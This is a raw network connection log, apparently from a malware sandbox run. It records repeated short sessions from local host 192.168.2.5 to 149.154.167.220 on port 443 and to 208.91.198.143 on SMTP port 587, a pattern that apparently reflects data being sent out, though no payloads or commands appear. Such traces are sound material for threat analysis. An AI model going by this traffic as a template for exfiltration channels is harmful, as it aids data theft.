Sep 19, 2024 12:24:21.441418886 CEST	443	61667	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:21.461950064 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:21.462079048 CEST	61668	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:21.469763994 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:21.623764038 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:21.623915911 CEST	61668	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:21.630861998 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:21.749814987 CEST	443	61667	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:21.750077009 CEST	443	61667	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:21.750165939 CEST	61667	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:21.750425100 CEST	61667	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:21.751516104 CEST	61669	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:21.757841110 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:21.757930994 CEST	61669	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:21.783379078 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:21.783591986 CEST	61668	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:21.790582895 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:22.305737019 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:22.305890083 CEST	61669	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:22.310971022 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:22.461276054 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:22.462626934 CEST	61669	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:22.467514038 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:22.620266914 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:22.620492935 CEST	61669	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:22.625359058 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:23.531234980 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:23.531399012 CEST	61668	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:23.536520958 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:23.696309090 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:23.696528912 CEST	61668	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:23.703147888 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:23.871824980 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:23.910556078 CEST	61668	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:23.915781975 CEST	587	61668	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:23.915849924 CEST	61668	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:23.921715021 CEST	61670	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:23.921821117 CEST	443	61670	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:23.921894073 CEST	61670	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:23.922249079 CEST	61670	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:23.922300100 CEST	443	61670	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:24.467552900 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:24.467880011 CEST	61669	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:24.473583937 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:24.558295965 CEST	443	61670	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:24.564359903 CEST	61670	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:24.564446926 CEST	443	61670	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:24.564661026 CEST	61670	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:24.564677000 CEST	443	61670	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:24.624241114 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:24.628606081 CEST	61669	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:24.633702040 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:24.802997112 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:24.806828022 CEST	61669	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:24.811012983 CEST	61671	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:24.811106920 CEST	443	61671	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:24.812180996 CEST	587	61669	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:24.812289000 CEST	61671	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:24.812431097 CEST	61669	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:24.812547922 CEST	61671	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:24.812597990 CEST	443	61671	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:25.059478998 CEST	443	61670	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:25.059679985 CEST	443	61670	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:25.063342094 CEST	61670	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:25.064569950 CEST	61670	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:25.064584017 CEST	61672	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:25.069667101 CEST	587	61672	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:25.070925951 CEST	61672	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:25.275979042 CEST	61672	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:25.279351950 CEST	61673	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:25.279413939 CEST	443	61673	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:25.279478073 CEST	61673	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:25.279815912 CEST	61673	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:25.279833078 CEST	443	61673	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:25.281018019 CEST	587	61672	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:25.281076908 CEST	61672	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:25.519666910 CEST	443	61671	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:25.521636009 CEST	61671	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:25.521696091 CEST	443	61671	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:25.521753073 CEST	61671	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:25.521774054 CEST	443	61671	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:25.826044083 CEST	443	61671	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:25.826131105 CEST	443	61671	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:25.826312065 CEST	61671	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:25.826766014 CEST	61671	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:25.828119993 CEST	61674	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:25.833121061 CEST	587	61674	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:25.833189964 CEST	61674	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:25.888879061 CEST	443	61673	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:25.890948057 CEST	61673	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:25.891011953 CEST	443	61673	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:25.891074896 CEST	61673	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:25.891098022 CEST	443	61673	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:26.194468021 CEST	443	61673	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:26.195060015 CEST	443	61673	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:26.195852041 CEST	61673	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:26.195852041 CEST	61673	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:26.198400974 CEST	61675	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:26.203339100 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:26.207496881 CEST	61675	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:26.381696939 CEST	587	61674	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:26.387403965 CEST	61674	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:26.392855883 CEST	587	61674	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:26.542381048 CEST	587	61674	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:26.567413092 CEST	61674	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:26.572479963 CEST	587	61674	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:26.724931002 CEST	587	61674	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:26.726783037 CEST	61674	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:26.732038975 CEST	587	61674	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:26.762228012 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:26.762525082 CEST	61675	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:26.767560005 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:26.917865038 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:26.921818972 CEST	61675	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:26.927036047 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:27.080142021 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:27.080562115 CEST	61675	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:27.085655928 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:28.294209003 CEST	61676	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:28.294265985 CEST	443	61676	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:28.295241117 CEST	61674	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:28.295571089 CEST	61676	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:28.295571089 CEST	61676	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:28.295610905 CEST	443	61676	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:28.302022934 CEST	587	61674	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:28.303663969 CEST	61674	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:28.909476042 CEST	443	61676	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:28.915735006 CEST	61676	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:28.915760994 CEST	443	61676	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:28.915895939 CEST	61676	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:28.915900946 CEST	443	61676	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:29.233027935 CEST	443	61676	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:29.233133078 CEST	443	61676	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:29.233176947 CEST	61676	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:29.261425018 CEST	61676	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:29.266450882 CEST	61677	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:29.527757883 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:29.527926922 CEST	61675	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:29.529088974 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:29.529161930 CEST	61677	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:29.532845020 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:29.683679104 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:29.683917046 CEST	61675	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:29.688978910 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:29.855340958 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:29.855609894 CEST	61675	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:29.859069109 CEST	61678	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:29.859105110 CEST	443	61678	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:29.859157085 CEST	61678	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:29.859424114 CEST	61678	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:29.859436035 CEST	443	61678	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:29.860888004 CEST	587	61675	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:29.860948086 CEST	61675	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:30.073389053 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:30.073538065 CEST	61677	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:30.078466892 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:30.228236914 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:30.231462955 CEST	61677	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:30.236360073 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:30.388480902 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:30.396390915 CEST	61677	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:30.402178049 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:30.506653070 CEST	443	61678	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:30.508761883 CEST	61678	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:30.508790016 CEST	443	61678	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:30.508971930 CEST	61678	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:30.508976936 CEST	443	61678	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:31.807835102 CEST	443	61678	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:31.808103085 CEST	443	61678	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:31.808162928 CEST	61678	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:31.808443069 CEST	61678	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:31.809407949 CEST	61679	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:32.031857014 CEST	587	61679	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:32.031946898 CEST	61679	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:32.474282026 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:32.474591970 CEST	61677	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:32.480324984 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:32.581605911 CEST	587	61679	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:32.581764936 CEST	61679	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:32.589157104 CEST	587	61679	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:32.630568981 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:32.630729914 CEST	61677	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:32.635674000 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:32.738739967 CEST	587	61679	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:32.744388103 CEST	61679	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:32.751164913 CEST	587	61679	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:33.000521898 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:33.000772953 CEST	587	61679	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:33.004554033 CEST	61679	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:33.004565001 CEST	61677	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:33.008378983 CEST	61680	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:33.008443117 CEST	443	61680	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:33.009526968 CEST	587	61679	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:33.012717962 CEST	61680	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:33.012717962 CEST	61680	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:33.012794971 CEST	443	61680	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:33.013261080 CEST	587	61677	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:33.020380974 CEST	61677	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:33.759241104 CEST	443	61680	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:33.761653900 CEST	61680	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:33.761707067 CEST	443	61680	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:33.761785030 CEST	61680	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:33.761812925 CEST	443	61680	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:34.088459969 CEST	61679	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:34.091015100 CEST	61681	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:34.091046095 CEST	443	61681	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:34.091110945 CEST	61681	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:34.091325045 CEST	61681	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:34.091344118 CEST	443	61681	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:34.093816996 CEST	587	61679	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:34.093868971 CEST	61679	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:34.154848099 CEST	443	61680	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:34.155038118 CEST	443	61680	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:34.156788111 CEST	61680	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:34.156788111 CEST	61680	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:34.172386885 CEST	61682	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:34.178766966 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:34.183397055 CEST	61682	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:34.725971937 CEST	443	61681	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:34.730407000 CEST	61681	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:34.730439901 CEST	443	61681	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:34.737231016 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:34.737276077 CEST	61681	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:34.737287045 CEST	443	61681	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:34.742543936 CEST	61682	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:34.747509956 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:35.088757038 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:35.089078903 CEST	443	61681	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:35.089159966 CEST	443	61681	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:35.090626001 CEST	61682	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:35.090629101 CEST	61681	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:35.096498013 CEST	61681	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:35.099411011 CEST	61683	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:35.302448988 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:35.302525997 CEST	61682	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:35.304506063 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:35.304543972 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:35.304616928 CEST	61683	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:35.456424952 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:35.467461109 CEST	61682	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:35.472580910 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:35.848872900 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:35.848992109 CEST	61683	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:35.853954077 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:36.002737045 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:36.002895117 CEST	61683	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:36.008375883 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:36.159444094 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:36.162899017 CEST	61683	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:36.167850971 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:37.476744890 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:37.476919889 CEST	61682	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:37.481899023 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:37.632280111 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:37.632471085 CEST	61682	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:37.638052940 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:37.812377930 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:37.812769890 CEST	61682	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:37.818053007 CEST	587	61682	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:37.818115950 CEST	61682	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:37.818161011 CEST	61684	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:37.818201065 CEST	443	61684	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:37.818249941 CEST	61684	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:37.818562031 CEST	61684	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:37.818578005 CEST	443	61684	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:38.444145918 CEST	443	61684	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:38.445944071 CEST	61684	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:38.445974112 CEST	443	61684	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:38.446288109 CEST	61684	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:38.446296930 CEST	443	61684	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:38.535079956 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:38.536766052 CEST	61683	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:38.541712046 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:38.692878008 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:38.696254015 CEST	61683	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:38.701204062 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:38.869651079 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:38.873078108 CEST	61683	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:38.875005007 CEST	61685	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:38.875096083 CEST	443	61685	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:38.878246069 CEST	587	61683	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:38.880453110 CEST	61685	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:38.880526066 CEST	61683	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:38.880672932 CEST	61685	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:38.880712032 CEST	443	61685	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:38.894005060 CEST	443	61684	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:38.894198895 CEST	443	61684	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:38.896857977 CEST	61684	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:38.897260904 CEST	61684	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:38.898816109 CEST	61686	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:38.903783083 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:38.908516884 CEST	61686	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:39.483246088 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:39.483376026 CEST	61686	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:39.488367081 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:39.498749971 CEST	443	61685	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:39.500536919 CEST	61685	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:39.500576019 CEST	443	61685	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:39.500643969 CEST	61685	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:39.500663042 CEST	443	61685	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:39.643723011 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:39.643903971 CEST	61686	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:39.648834944 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:39.806859016 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:39.807087898 CEST	61686	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:39.812386990 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:39.896924973 CEST	443	61685	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:39.897010088 CEST	443	61685	149.154.167.220	192.168.2.5
Sep 19, 2024 12:24:39.897072077 CEST	61685	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:39.897553921 CEST	61685	443	192.168.2.5	149.154.167.220
Sep 19, 2024 12:24:39.898814917 CEST	61687	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:39.903708935 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:39.903789043 CEST	61687	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:40.450320005 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:40.451070070 CEST	61687	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:40.456196070 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.378544092 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.378725052 CEST	61687	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:41.378796101 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.378886938 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.378901005 CEST	61687	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:41.378935099 CEST	61687	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:41.590683937 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.590743065 CEST	61687	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:41.590852022 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.590866089 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.591013908 CEST	61686	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:41.595865965 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.744832993 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.745104074 CEST	61687	587	192.168.2.5	208.91.198.143
Sep 19, 2024 12:24:41.750121117 CEST	587	61687	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.755908966 CEST	587	61686	208.91.198.143	192.168.2.5
Sep 19, 2024 12:24:41.756076097 CEST	61686	587	192.168.2.5	208.91.198.143
